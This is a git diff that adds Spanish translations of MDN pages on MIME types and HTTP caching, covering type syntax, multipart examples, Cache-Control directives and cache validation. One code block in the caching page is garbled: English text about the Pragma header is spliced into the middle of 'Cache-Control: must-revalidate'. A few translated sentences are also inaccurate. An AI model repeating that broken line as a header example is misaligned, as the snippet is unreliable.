+   <td>Archivo <a href="https://en.wikipedia.org/wiki/7-Zip">7-zip</a></td>
+   <td><code>application/x-7z-compressed</code></td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/es/web/http/basics_of_http/mime_types/index.html b/files/es/web/http/basics_of_http/mime_types/index.html
new file mode 100644
index 0000000000..dd6c1621ae
--- /dev/null
+++ b/files/es/web/http/basics_of_http/mime_types/index.html
@@ -0,0 +1,321 @@
+---
+title: Tipos MIME
+slug: Web/HTTP/Basics_of_HTTP/MIME_types
+tags:
+  - Cabecera de solicitud
+  - Guide
+  - HTTP
+  - Meta
+  - Tipos MIME
+  - Tipos de contenido
+  - application/json
+translation_of: Web/HTTP/Basics_of_HTTP/MIME_types
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>El <strong>tipo Extensiones multipropósito de Correo de Internet (MIME)</strong> es una forma estandarizada de indicar la naturaleza y el formato de un documento, archivo o conjunto de datos. Está definido y estandarizado en <a href="https://tools.ietf.org/html/rfc6838">IETF RFC 6838</a>. La <a href="https://www.iana.org/">Autoridad de Números Asignados de Internet (IANA)</a> es el organismo oficial responsable de realizar un seguimiento de todos los tipos MIME oficiales, y puede encontrar la lista más actualizada y completa en la página de <a href="https://www.iana.org/assignments/media-types/media-types.xhtml">tipos de medios (Media Types)</a>.</p>
+
+<p>Los navegadores a menudo usan el tipo MIME (y no la extensión de archivo) para determinar cómo procesará un documento; por lo tanto, es importante que los servidores estén configurados correctamente para adjuntar el tipo MIME correcto al encabezado del objeto de respuesta.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<h3 id="Estructura_general">Estructura general</h3>
+
+<pre class="syntaxbox">tipo/subtipo</pre>
+
+<p>La estructura de un tipo MIME es muy simple; consiste en un tipo y un subtipo, dos cadenas, separadas por un <code>'/'</code>. No se permite espacio. El <em>tipo </em>representa la categoría y puede ser de tipo <em>discreto </em>o <em>multiparte</em>. El <em>subtipo </em>es específico para cada tipo.</p>
+
+<p>Un tipo MIME no distingue entre mayúsculas y minúsculas, pero tradicionalmente se escribe todo en minúsculas.</p>
+
+<h3 id="Tipos_discretos">Tipos discretos</h3>
+
+<pre class="syntaxbox">text/plain
+text/html
+image/jpeg
+image/png
+audio/mpeg
+audio/ogg
+audio/*
+video/mp4
+application/octet-stream
+…</pre>
+
+<p>Los tipos <em>discretos </em>indican la categoría del documento, puede ser uno de los siguientes:</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Tipo</th>
+   <th scope="col">Descripción</th>
+   <th scope="col">Ejemplo de subtipos típicos</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>text</code></td>
+   <td>Representa cualquier documento que contenga texto y es teóricamente legible por humanos</td>
+   <td><code>text/plain</code>, <code>text/html</code>, <code>text/css, text/javascript</code></td>
+  </tr>
+  <tr>
+   <td><code>image</code></td>
+   <td>Representa cualquier tipo de imagen. Los videos no están incluidos, aunque las imágenes animadas (como el gif animado) se describen con un tipo de imagen.</td>
+   <td><code>image/gif</code>, <code>image/png</code>, <code>image/jpeg</code>, <code>image/bmp</code>, <code>image/webp</code></td>
+  </tr>
+  <tr>
+   <td><code>audio</code></td>
+   <td>Representa cualquier tipo de archivos de audio</td>
+   <td><code>audio/midi</code>, <code>audio/mpeg, audio/webm, audio/ogg, audio/wav</code></td>
+  </tr>
+  <tr>
+   <td><code>video</code></td>
+   <td>Representa cualquier tipo de archivos de video</td>
+   <td><code>video/webm</code>, <code>video/ogg</code></td>
+  </tr>
+  <tr>
+   <td><code>application</code></td>
+   <td>Representa cualquier tipo de datos binarios.</td>
+   <td><code>application/octet-stream</code>, <code>application/pkcs12</code>, <code>application/vnd.mspowerpoint</code>, <code>application/xhtml+xml</code>, <code>application/xml</code>,  <code>application/pdf</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Para documentos de texto sin subtipo específico, se debe usar <code>text/plain</code>. De forma similar, para los documentos binarios sin subtipo específico o conocido, se debe usar <code>application/octet-stream</code>.</p>
+
+<h3 id="Tipos_multiparte">Tipos multiparte</h3>
+
+<pre class="syntaxbox">multipart/form-data
+multipart/byteranges</pre>
+
+<p id="sect1">Los tipos de <em>partes múltiples </em>indican una categoría de documento que está rota en distintas partes, a menudo con diferentes tipos de MIME. Es una forma de representar un documento compuesto. Con la excepción de <code>multipart/form-data</code>, que se utilizan en relación con <a href="https://developer.mozilla.org/en-US/docs/Web/Guide/HTML/Forms">formularios HTML</a> y el método {{HTTPMethod("POST")}}, y <code>multipart/byteranges</code>, que se utilizan junto con el mensaje de estado de <code>Contenido Parcial</code> {{HTTPStatus("206")}} para enviar solo un subconjunto de un documento completo, HTTP no maneja documentos multiparte de una manera específica: el mensaje simplemente se transmite al navegador (que probablemente propondrá una ventana Guardar como, sin saber cómo mostrar el documento en línea.)</p>
+
+<h2 id="Tipos_MIME_importantes_para_desarrolladores_Web">Tipos MIME importantes para desarrolladores Web</h2>
+
+<h3 id="applicationoctet-stream"><code>application/octet-stream</code></h3>
+
+<p>Este es el valor predeterminado para un archivo binario. Como realmente significa un <em>archivo binario desconocido</em>, los navegadores generalmente no lo ejecutan automáticamente, o incluso preguntan si debería ejecutarse. Lo tratan como si el encabezado {{HTTPHeader("Content-Disposition")}} se configurara con el valor <code>attachment</code> y proponen un archivo 'Guardar como'.</p>
+
+<h3 id="textplain"><code>text/plain</code></h3>
+
+<p>Este es el valor predeterminado para los archivos de texto. Incluso si realmente significa un archivo textual desconocido, los navegadores asumen que pueden mostrarlo.</p>
+
+<div class="note">
+<p>Tenga en cuenta que <code>text/plain</code> no significa <em>cualquier tipo de datos textuales</em>. Si esperan un tipo específico de datos textuales, probablemente no lo considerarán una coincidencia. Específicamente, si descargan un archivo de texto sin formato <code>text/plain</code> de un elemento {{HTMLElement("link")}} que declara archivos CSS, no lo reconocerán como un archivo CSS válido si se presenta con <code>text/plain</code>. Se debe usar el tipo MIME CSS <code>text/css</code>.</p>
+</div>
+
+<h3 id="textcss"><code>text/css</code></h3>
+
+<p>Todos los archivos CSS que deban interpretarse como tales en una página web <strong>deben </strong>ser de los archivos de <code>text/css</code>. A menudo, los servidores no reconocen los archivos con el sufijo <code>.css</code> como archivos CSS y los envían con tipo MIME <code>text/plain</code> o <code>application/octet-stream</code>: en estos casos, la mayoría de los navegadores no los reconocerán como archivos CSS y serán ignorado silenciosamente. Se debe prestar especial atención en servir los archivos CSS con el tipo correcto.</p>
+
+<h3 id="texthtml"><code>text/html</code></h3>
+
+<p>Todo el contenido HTML debe ser servido con este tipo. Los tipos MIME alternativos para XHTML, como <code>application/xml+html</code>, son en su mayoría inútiles hoy en día (HTML5 unificó estos formatos).</p>
+
+<h3 id="Tipos_de_imágenes">Tipos de imágenes</h3>
+
+<p>Solo un puñado de tipos de imágenes son ampliamente reconocidos y se consideran seguros para la Web, listos para usar en una página Web:</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Tipo MIME</th>
+   <th scope="col">Tipo de imagen</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>image/gif</code></td>
+   <td>Imágenes GIF (compresión sin pérdida, reemplazada por PNG)</td>
+  </tr>
+  <tr>
+   <td><code>image/jpeg</code></td>
+   <td>Imágenes JPEG</td>
+  </tr>
+  <tr>
+   <td><code>image/png</code></td>
+   <td>Imágenes PNG</td>
+  </tr>
+  <tr>
+   <td><code>image/svg+xml</code></td>
+   <td>Imágenes SVG (imágenes vectoriales)</td>
+  </tr>
+ </tbody>
+</table>
+
+
+
+<p>Existe una discusión para agregar WebP (<code>image/webp</code>) a esta lista, pero como cada tipo de imagen nuevo aumentará el tamaño de una base de código, esto puede presentar nuevos problemas de seguridad, por lo que los proveedores de navegadores son cautelosos al aceptarlo.</p>
+
+<p>Se pueden encontrar otros tipos de imágenes en documentos Web. Por ejemplo, muchos navegadores admiten tipos de imágenes de iconos para favicones o similares. En particular, las imágenes ICO son compatibles en este contexto con el tipo MIME <code>image/x-icon</code>.</p>
+
+
+
+<h3 id="Tipos_de_audio_y_video">Tipos de audio y video</h3>
+
+<p>Al igual que las imágenes, HTML no define un conjunto de tipos soportados para usar con los elementos {{HTMLElement("audio")}} y {{HTMLElement("video")}}, por lo que solo un grupo relativamente pequeño de ellos puede ser utilizado en la web. Los <a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Supported_media_formats">formatos de medios compatibles con los elementos de audio y video HTML</a> explican tanto los códecs como los formatos de contenedor que se pueden usar.</p>
+
+<p>El tipo MIME de dichos archivos representa principalmente los formatos de contenedor y los más comunes en un contexto web son:</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Tipo MIME</th>
+   <th scope="col">Tipo de audio o video</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>audio/wave</code><br>
+    <code>audio/wav</code><br>
+    <code>audio/x-wav</code><br>
+    <code>audio/x-pn-wav</code></td>
+   <td>Un archivo de audio en formato de contenedor WAVE. El códec de audio PCM (códec WAVE  "1") a menudo es compatible, pero otros códecs tienen soporte más limitado (si lo hay).</td>
+  </tr>
+  <tr>
+   <td><code>audio/webm</code></td>
+   <td>Un archivo de audio en formato de contenedor WebM. Vorbis y Opus son los códecs de audio más comunes.</td>
+  </tr>
+  <tr>
+   <td><code>video/webm</code></td>
+   <td>Un archivo de video, posiblemente con audio, en el formato de contenedor de WebM. VP8 y VP9 son los códecs de video más comunes utilizados en él; Vorbis y Opus los códecs de audio más comunes.</td>
+  </tr>
+  <tr>
+   <td><code>audio/ogg</code></td>
+   <td>Un archivo de audio en el formato de contenedor OGG. Vorbis es el códec de audio más común utilizado en dicho contenedor.</td>
+  </tr>
+  <tr>
+   <td><code>video/ogg</code></td>
+   <td>Un archivo de video, posiblemente con audio, en el formato de contenedor OGG. Theora es el códec de video habitual utilizado en él; Vorbis es el códec de audio habitual.</td>
+  </tr>
+  <tr>
+   <td><code>application/ogg</code></td>
+   <td>Un archivo de audio o video usando el formato de contenedor OGG. Theora es el códec de video habitual utilizado en él; Vorbis es el códec de audio más común.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="multipartform-data"><code>multipart/form-data</code></h3>
+
+<p>El tipo de datos <code>multipart/form-data</code> se puede usar al enviar el contenido de un <a href="https://developer.mozilla.org/en-US/docs/Web/Guide/HTML/Forms">formulario HTML</a> completo desde el navegador al servidor. Como formato de documento multiparte, consta de diferentes partes, delimitadas por un límite (una cadena que comienza con un doble guión <code>'--'</code>). Cada parte es una entidad en sí misma, con sus propios encabezados HTTP, {{HTTPHeader("Content-Disposition")}} y {{HTTPHeader("Content-Type")}} para los campos de carga de archivos, y los más comunes ({{HTTPHeader("Content-Length")}} es ignorado ya que la línea límite se usa como delimitador).</p>
+
+<pre class="syntaxbox">Content-Type: multipart/form-data; boundary=unaCadenaDelimitadora
+(otros encabezados asociados con el documento multiparte como un todo)
+
+--unaCadenaDelimitadora
+Content-Disposition: form-data; name="miArchivo"; filename="img.jpg"
+Content-Type: image/jpeg
+
+(data)
+--unaCadenaDelimitadora
+Content-Disposition: form-data; name="miCampo"
+
+(data)
+--unaCadenaDelimitadora
+(más subpartes)
+--unaCadenaDelimitadora--
+
+</pre>
+
+<p>El siguiente formulario:</p>
+
+<pre class="brush: html">&lt;form action="http://localhost:8000/" method="post" enctype="multipart/form-data"&gt;
+  &lt;input type="text" name="miCampoDeTexto"&gt;
+  &lt;input type="checkbox" name="miCheckBox"&gt;Checado&lt;/input&gt;
+  &lt;input type="file" name="miArchivo"&gt;
+  &lt;button&gt;Enviar el archivo&lt;/button&gt;
+&lt;/form&gt;</pre>
+
+<p>enviará este mensaje:</p>
+
+<pre>POST / HTTP/1.1
+Host: localhost:8000
+User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:50.0) Gecko/20100101 Firefox/50.0
+Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+Accept-Language: en-US,en;q=0.5
+Accept-Encoding: gzip, deflate
+Connection: keep-alive
+Upgrade-Insecure-Requests: 1
+Content-Type: multipart/form-data; boundary=---------------------------8721656041911415653955004498
+Content-Length: 465
+
+-----------------------------8721656041911415653955004498
+Content-Disposition: form-data; name="miCampoDeTexto"
+
+Test
+-----------------------------8721656041911415653955004498
+Content-Disposition: form-data; name="miCheckBox"
+
+on
+-----------------------------8721656041911415653955004498
+Content-Disposition: form-data; name="miArchivo"; filename="prueba.txt"
+Content-Type: text/plain
+
+Simple file.
+-----------------------------8721656041911415653955004498--
+
+</pre>
+
+<h3 id="multipartbyteranges"><code>multipart/byteranges</code></h3>
+
+<p>El tipo MIME <code>multipart/byteranges</code> se usa en el contexto del envío de respuestas parciales al navegador. Cuando se envía el código de estado de <code>Contenido Parcial</code> {{HTTPStatus("206")}}, este tipo MIME se usa para indicar que el documento está compuesto de varias partes, una para cada rango solicitado. Al igual que otros tipos de varias partes, {{HTTPHeader("Content-Type")}} usa la directiva <code>boundary</code> para definir la cadena delimitadora. Cada una de las diferentes partes tiene un encabezado {{HTTPHeader("Content-Type")}} con el tipo real del documento y un {{HTTPHeader("Content-Range")}} con el rango que representan.</p>
+
+<pre><code>HTTP/1.1 206 Partial Content
+Accept-Ranges: bytes
+Content-Type: multipart/byteranges; boundary=3d6b6a416f9b5
+Content-Length: 385
+
+--3d6b6a416f9b5
+Content-Type: text/html
+Content-Range: bytes 100-200/1270
+
+eta http-equiv="Content-type" content="text/html; charset=utf-8" /&gt;
+    &lt;meta name="vieport" content
+--3d6b6a416f9b5
+Content-Type: text/html
+Content-Range: bytes 300-400/1270
+
+-color: #f0f0f2;
+        margin: 0;
+        padding: 0;
+        font-family: "Open Sans", "Helvetica
+--3d6b6a416f9b5--</code></pre>
+
+<h2 id="Importancia_de_establecer_el_tipo_MIME_correcto">Importancia de establecer el tipo MIME correcto</h2>
+
+<p>La mayoría de los servidores web envían recursos de tipo desconocido utilizando el tipo MIME predeterminado <code>application/octet-stream</code>. Por razones de seguridad, la mayoría de los navegadores no permiten establecer una acción predeterminada personalizada para dichos recursos, lo que obliga al usuario a almacenarlo en el disco para usarlo. Algunas configuraciones de servidor incorrectas que se ven con frecuencia ocurren con los siguientes tipos de archivos:</p>
+
+<ul>
+ <li>
+  <p>Archivos con codificación RAR. En este caso, lo ideal sería establecer el tipo verdadero de los archivos codificados; esto a menudo no es posible (ya que puede no ser conocido por el servidor y estos archivos pueden contener varios recursos de diferentes tipos). En este caso, al configurar el servidor para que envíe el tipo MIME <code>application/x-rar-compressed</code>, los usuarios no habrán definido una acción predeterminada útil para ellos.</p>
+ </li>
+ <li>
+  <p>Archivos de audio y video. Solo los recursos con el tipo MIME correcto serán reconocidos y reproducidos en elementos {{ HTMLElement("video") }} o {{ HTMLElement("audio") }}. Asegúrese de <a href="https://developer.mozilla.org/En/Media_formats_supported_by_the_audio_and_video_elements">usar el tipo correcto para audio y video</a>.</p>
+ </li>
+ <li>
+  <p>Tipos de archivos propietarios. Preste especial atención al servir un tipo de archivo propietario. Evite el uso de <code>application/octet-stream</code> ya que no será posible un manejo especial: la mayoría de los navegadores no permiten definir un comportamiento predeterminado (como "Abrir en Word") para este tipo genérico MIME.</p>
+ </li>
+</ul>
+
+<h2 id="Olfateo_MIME_sniffing">Olfateo MIME (sniffing)</h2>
+
+<p>En ausencia de un tipo MIME, o en algunos otros casos en los que un cliente cree que están configurados incorrectamente, los navegadores pueden realizar el rastreo MIME, que es adivinar el tipo MIME correcto mirando el recurso. Cada navegador realiza esto de manera diferente y bajo diferentes circunstancias. Hay algunas preocupaciones de seguridad con esta práctica, ya que algunos tipos MIME representan el contenido ejecutable y otros no. Los servidores pueden bloquear el rastreo de MIME enviando el {{HTTPHeader("X-Content-Type-Options")}} a lo largo de {{HTTPHeader("Content-Type")}}.</p>
+
+<h2 id="Otros_métodos_de_transporte_de_tipo_de_documento">Otros métodos de transporte de tipo de documento</h2>
+
+<p>Los tipos MIME no son la única forma de transmitir la información del tipo de documento:</p>
+
+<ul>
+ <li>Los sufijos de nombre a veces se usan, especialmente en los sistemas de Microsoft Windows. No todos los sistemas operativos consideran significativos estos sufijos (especialmente Linux y Mac OS), y al igual que un tipo MIME externo, no hay garantía de que sean correctos.</li>
+ <li>Números mágicos. La sintaxis de los diferentes tipos de archivos permite la inferencia del tipo de archivo al observar la estructura. P.ej. cada archivo GIF comienza con el valor hexadecimal 47 49 46 38 39 [GIF89] o archivos PNG con 89 50 4E 47 [.PNG]. No todos los tipos de archivos tienen números mágicos, por lo que este tampoco es un sistema 100% confiable.</li>
+</ul>
+
+
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/Security/Securing_your_site/Configuring_server_MIME_types">Configurar correctamente los tipos MIME del servidor</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Supported_media_formats">Formatos de medios compatibles con los elementos de audio y video HTML</a></li>
+ <li>
+  <p><a href="https://www.iana.org/assignments/media-types/application/json">https://www.iana.org/assignments/media-types/application/json</a></p>
+ </li>
+</ul>
diff --git a/files/es/web/http/caching/index.html b/files/es/web/http/caching/index.html
new file mode 100644
index 0000000000..e55fc256c1
--- /dev/null
+++ b/files/es/web/http/caching/index.html
@@ -0,0 +1,155 @@
+---
+title: HTTP caching
+slug: Web/HTTP/Caching
+tags:
+  - Caching
+  - Guide
+  - HTTP
+translation_of: Web/HTTP/Caching
+---
+<div>{{HTTPSidebar}}</div>
+
+<p class="summary"><span id="result_box" lang="es"><span>El rendimiento de los sitios web y las aplicaciones puede mejorarse significativamente al reutilizar los recursos previamente obtenidos.</span> <span>Los cachés web reducen la latencia y el tráfico de red y, por lo tanto, reducen el tiempo necesario para mostrar una representación de un recurso.</span> <span>Al hacer uso del almacenamiento en caché HTTP, los sitios web se vuelven más sensible.</span></span></p>
+
+<h2 id="Diferentes_tipos_de_caches">Diferentes tipos de caches</h2>
+
+<p><span id="result_box" lang="es"><span>El almacenamiento en caché o Caching es una técnica que almacena una copia de un recurso dado y la devuelve cuando se solicita.</span> <span>Cuando un caché web tiene un recurso solicitado en su almacén, intercepta la solicitud y devuelve su copia en lugar de volver a descargarla desde el servidor de origen.</span> <span>Esto logra varios objetivos: facilita la carga del servidor que no necesita atender a todos los clientes, y mejora el rendimiento al estar más cerca del cliente, es decir, lleva menos tiempo transmitir el recurso de vuelta.</span> <span>Para un sitio web, es un componente importante para lograr un alto rendimiento.</span> <span>Por otro lado, debe configurarse correctamente, ya que no todos los recursos permanecen idénticos para siempre: es importante almacenar en caché un recurso solo hasta que cambie, no más.</span></span></p>
+
+<p><span id="result_box" lang="es"><span>Existen varios tipos de cachés: se pueden agrupar en dos categorías principales: cachés privados o compartidos.</span> <span>Un caché compartido es un caché que almacena respuestas para que más de un usuario las reutilice.</span> <span>Un caché privado está dedicado a un solo usuario.</span> <span>Esta página hablará principalmente sobre cachés de navegador y proxy, pero también hay cachés de puerta de enlace, CDN, cachés de proxy inverso y balanceadores de carga que se implementan en servidores web para una mejor confiabilidad, rendimiento y escala de sitios web y aplicaciones web.</span></span></p>
+
+<p><img alt="What a cache provide, advantages/disadvantages of shared/private caches." src="https://mdn.mozillademos.org/files/13777/HTTPCachtType.png" style="height: 573px; width: 910px;"></p>
+
+<h3 id="Cachés_privadas_de_navegador">Cachés privadas de navegador</h3>
+
+<p><span class="tlid-translation translation"><span title="">Un caché privado está dedicado a un solo usuario.</span> <span title="">Es posible que ya hayas visto "almacenamiento en caché" en la configuración de tu navegador.</span> <span title="">Un caché de navegador contiene todos los documentos descargados a través de HTTP por el usuario.</span> <span title="">Este caché se usa para hacer que los documentos visitados estén disponibles para la navegación hacia atrás / adelante, guardar, ver como fuente, etc. sin requerir un viaje adicional al servidor.</span> <span title="">También mejora la navegación fuera de línea del contenido en caché.</span></span></p>
+
+<h3 id="Caché_compartida_de_proxy">Caché compartida de proxy</h3>
+
+<p><span class="tlid-translation translation"><span title="">Un caché compartido es un caché que almacena las respuestas para que sean reutilizado por más de un usuario.</span> <span title="">Por ejemplo, un ISP o su compañía podrían haber configurado un proxy web como parte de su infraestructura de red local para servir a muchos usuarios, de modo que los recursos populares se reutilicen varias veces, lo que reduce el tráfico y la latencia de la red.</span></span></p>
+
+<h2 id="Objetivos_de_las_operaciones_de_almacenamiento_en_caché."><span class="tlid-translation translation"><span title="">Objetivos de las operaciones de almacenamiento en caché.</span></span></h2>
+
+<p><span class="tlid-translation translation"><span title="">El almacenamiento en caché de HTTP es opcional, pero la reutilización de un recurso almacenado en caché es generalmente deseable.</span> <span title="">Sin embargo, los cachés HTTP comunes generalmente se limitan al almacenamiento en caché de las respuestas a {{HTTPMethod ("GET")}} y pueden rechazar otros métodos.</span> <span title="">La clave de caché principal consiste en el método de solicitud y el URI de destino (muchas veces solo se usa el URL, ya que solo las solicitudes GET son destinos de almacenamiento en caché).</span> <span title="">Las entradas de caché más comunes son:</span></span></p>
+
+<ul>
+ <li>Respuesta exitosa al recuperar una solicitud: una respuesta de tipo {{HTTPStatus(200)}} (OK) a una solicitud {{HTTPMethod("GET")}} contiene un recurso como documentos HTML, imágenes o archivos (ficheros).</li>
+ <li>Redirección permanente: una respuesta tipo {{HTTPStatus(301)}} (Moved Permanently).</li>
+ <li>Respuesta de error: da como resultado una página {{HTTPStatus(404)}} (Not Found) .</li>
+ <li>Resultados incompletos: muestra una respuesta de tipo {{HTTPStatus(206)}} (Partial Content) .</li>
+ <li>Otro tipo de respuestas {{HTTPMethod("GET")}} <span class="tlid-translation translation"><span title="">si se define algo adecuado para su uso como clave de caché</span></span>.</li>
+</ul>
+
+<p>Una entrada de caché también puede consistir en múltiples respuestas almacenadas, diferenciadas por una clave secundaria, si la solicitud es causa de la negociación de contenido. Para obtener más detalles, consulta la información sobre el encabezado {{HTTPHeader ("Vary")}} <a href="#Varying_responses">más abajo</a>.</p>
+
+<h2 id="Control_del_almacenamiento_en_caché">Control del almacenamiento en caché</h2>
+
+<h3 id="El_encabezado_Cache-control">El encabezado <code>Cache-control</code></h3>
+
+<p>El {{HTTPHeader("Cache-Control")}} HTTP/1.1 general-header campo se utiliza para indicar directivas para los mecanismos de caché tanto en solicitudes (requests) como en respuestas (response). <span class="tlid-translation translation"><span title="">Utiliza este encabezado para definir tus políticas de almacenamiento en caché con la variedad de directivas que proporciona.</span></span></p>
+
+<h4 id="No_almacenar_caché_en_absoluto">No almacenar caché en absoluto</h4>
+
+<p><span class="tlid-translation translation"><span title="">El caché no debe almacenar nada sobre la solicitud del cliente o la respuesta del servidor.</span> <span title="">Se envía una solicitud al servidor y se descarga una respuesta completa cada vez.</span></span></p>
+
+<pre>Cache-Control: no-store
+Cache-Control: no-cache, no-store, must-revalidate
+</pre>
+
+<h4 id="Sin_almacenamiento_en_caché">Sin almacenamiento en caché</h4>
+
+<p><span class="tlid-translation translation"><span title="">Un caché enviará la solicitud al servidor de origen para su validación antes de liberar una copia en caché.</span></span></p>
+
+<pre>Cache-Control: no-cache</pre>
+
+<h4 id="Caché_publicas_y_privadas">Caché publicas y privadas</h4>
+
+<p>La directiva "public" indica que la respuesta puede ser almacenada en caché por cualquier caché. Esto puede ser útil, si las páginas con autentificación HTTP o códigos de estado de respuesta que normalmente no se pueden almacenar en caché, ahora deben almacenarse en caché.</p>
+
+<p>Por otro lado, la directiva "private" indica que la respuesta está dirigida a un solo usuario y no debe ser almacenada por un caché compartido. Un caché de navegador privado puede almacenar la respuesta en este caso.</p>
+
+<pre>Cache-Control: private
+Cache-Control: public
+</pre>
+
+<h4 id="Expiración">Expiración</h4>
+
+<p>La directiva más importante aquí es "<code>max-age=&lt;seconds&gt;</code>" que es la máxima cantidad de tiempo que un recurso será considerado nuevo. Contrariamente a {{HTTPHeader("Expires")}}, esta directiva es relativa al momento de la solicitud. Para los archivos de la aplicación que no cambiarán, generalmente se puede agregar almacenamiento en caché agresivo.Esto incluye archivos estáticos como imágenes, archivos CSS y archivos JavaScript, por ejemplo.</p>
+
+<p>Para más detalles, ver la sección Actualización más abajo.</p>
+
+<pre>Cache-Control: max-age=31536000</pre>
+
+<h4 id="Validación">Validación</h4>
+
+<p>Cuando se usa la directiva "<code>must-revalidate</code>", la caché debe verificar el estado de los recursos obsoletos antes de usarlos, los caducados no deben usarse. Para más detalles vea la sección  <a href="#Cache_validation">Validación</a>.</p>
+
+<pre>Cache-Cit is not specified for HTTP responses and is therefore not a reliable replacement for the general HTTP/1.1 <code>Cache-Control</code> header, although it does behave the same as <code>Cache-Control: no-cache</code>, if the <code>Cache-Control</code> header field is omitted in a request. Use <code>Pragma</code> only for backwards compatibility with HTTP/1.0 clientsontrol: must-revalidate</pre>
+
+<h3 id="La_cabecera_Pragma">La cabecera <code>Pragma</code></h3>
+
+<p>{{HTTPHeader("Pragma")}} es una cabecera HTTP/1.0, no se especifica para las respuestas HTTP y, por lo tanto, no es un reemplazo de confianza para el encabezado general de HTTP / 1.1 Cache-Control, aunque se comporta igual que Cache-Control: no-cache, si el campo del encabezado Cache-Control se omite en una solicitud. Utiliza Pragma solo para compatibilidad con versiones anteriores de clientes HTTP / 1.0</p>
+
+<h2 id="Actualización">Actualización</h2>
+
+<p>Una vez que un recurso se almacena en una caché, teóricamente podría ser servido por la caché para siempre. Las cachés tienen almacenamiento finito por lo que los elementos se eliminan periódicamente del almacenamiento. Este proceso se llama desalojo de caché. Por otro lado, algunos recursos pueden cambiar en el servidor, por lo que la memoria caché debe actualizarse. Como HTTP es un protocolo cliente-servidor, los servidores no pueden ponerse en contacto con cachés y clientes cuando cambia un recurso; tienen que comunicar un tiempo de caducidad para el recurso. Antes de este tiempo de expiración, el recurso está fresco; después de la fecha de caducidad, el recurso está obsoleto. Los algoritmos de desalojo a menudo privilegian recursos frescos sobre recursos obsoletos. Ten en cuenta que un recurso obsoleto no se desaloja ni se ignora; cuando la caché recibe una solicitud de un recurso obsoleto, reenvía esta solicitud con un {{HTTPHeader ("If-None-Match")}} para verificar si aún está fresco. Si es así, el servidor devuelve un encabezado {{HTTPStatus ("304")}} (No modificado) sin enviar el cuerpo del recurso solicitado, ahorrando algo de ancho de banda.</p>
+
+<p>Aquí hay un ejemplo de este proceso con un proxy de caché compartido:</p>
+
+<p><img alt="Show how a proxy cache acts when a doc is not cache, in the cache and fresh, in the cache and stale." src="https://mdn.mozillademos.org/files/13771/HTTPStaleness.png" style="height: 910px; width: 822px;"></p>
+
+<p>La vida útil de la frescura se calcula en base a varios encabezados. Si se especifica un encabezado "<code>Cache-control: max-age=N</code>", entonces el tiempo de frescura es igual a N. Si este encabezado no está presente, que es el caso más frecuente, se verifica si hay un encabezado {{HTTPHeader("Expires")}} presente. Si existe un encabezado <code>Expires</code>, entonces su valor menos el valor del encabezado {{HTTPHeader("Date")}} determina el tiempo de actualización. Finalmente si ninguno de los encabezados está presente, busca un encabezado {{HTTPHeader("Last-Modified")}}. Si este encabezado está presente, la vida útil de actualización es igual al valor del encabezado <code>Date</code> menos el valor del encabezado <code>Last-modified </code>dividido entre 10.<br>
+ El tiempo de expiración se calcula de la siguiente manera:</p>
+
+<pre>tiempoExpiración = tiempoResponsive + tiempoActualización - tiempoActual
+</pre>
+
+<p>donde <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">tiempoResponsive</span></font> es el tiempo en que se recibió la respuesta según el navegador.</p>
+
+<h3 id="Recursos_acelerados">Recursos acelerados</h3>
+
+<p>Cuanto más utilicemos los recursos en caché, mejor será la capacidad de respuesta y el rendimiento de un sitio web. Para optimizar esto, las buenas prácticas recomiendan establecer los tiempos de caducidad lo más lejos posible en el futuro. Esto es posible en los recursos que se actualizan regularmente o con frecuencia, pero es problemático para los recursos que rara vez se actualizan con poca frecuencia. Son los recursos que más se beneficiarían de los recursos de almacenamiento en caché, pero esto hace que sean muy difíciles de actualizar. Esto es típico de los recursos técnicos incluidos y vinculados desde cada página web: los archivos JavaScript y CSS cambian con poca frecuencia, pero cuando cambian, quieres que se actualicen rápidamente.</p>
+
+<p>Los desarrolladores web crearon una técnica que Steve Souders llamó revving. Los archivos actualizados con poca frecuencia se nombran de forma específica: en su URL, generalmente en el nombre del archivo, se agrega un número de revisión (o versión). De esa manera, cada nueva revisión de ese recurso se considera como un recurso en sí mismo que nunca cambia y puede tener un tiempo de vencimiento muy lejano en el futuro, generalmente un año o incluso más. Para tener las nuevas versiones, se deben cambiar todos los enlaces a ellas, es el inconveniente de este método: complejidad adicional que generalmente es atendida por la cadena de herramientas utilizada por los desarrolladores web. Cuando los recursos variables cambian con poca frecuencia, inducen un cambio adicional a los recursos a menudo variables. Cuando se leen, también las nuevas versiones de las otras.</p>
+
+<p>Esta técnica tiene un beneficio adicional: la actualización de dos recursos en caché al mismo tiempo no conducirá a la situación en la que la versión obsoleta de un recurso se usa en combinación con la nueva versión del otro. Esto es muy importante cuando los sitios web tienen hojas de estilo CSS o scripts JS que tienen dependencias mutuas, es decir, dependen entre sí porque se refieren a los mismos elementos HTML</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/13779/HTTPRevved.png"></p>
+
+<p>La versión de revisión agregada a los recursos revisados ​​no necesita ser una cadena de revisión clásica como 1.1.3, o incluso un conjunto de números en crecimiento monótono. Puede ser cualquier cosa que evite colisiones, como un hash o una fecha.</p>
+
+<h2 id="Validación_de_caché">Validación de caché</h2>
+
+<p>La revalidación se activa cuando el usuario presiona el botón de recargar. También se activa en la navegación normal  si la respuesta en caché incluye el encabezado "<code>Cache-control: must-revalidate</code>". Otro factor son las preferencias de validación de caché en el panel de preferencias <code>Advanced-&gt;Cache</code>. Hay una opción para forzar una validación cada vez que se carga un documento.</p>
+
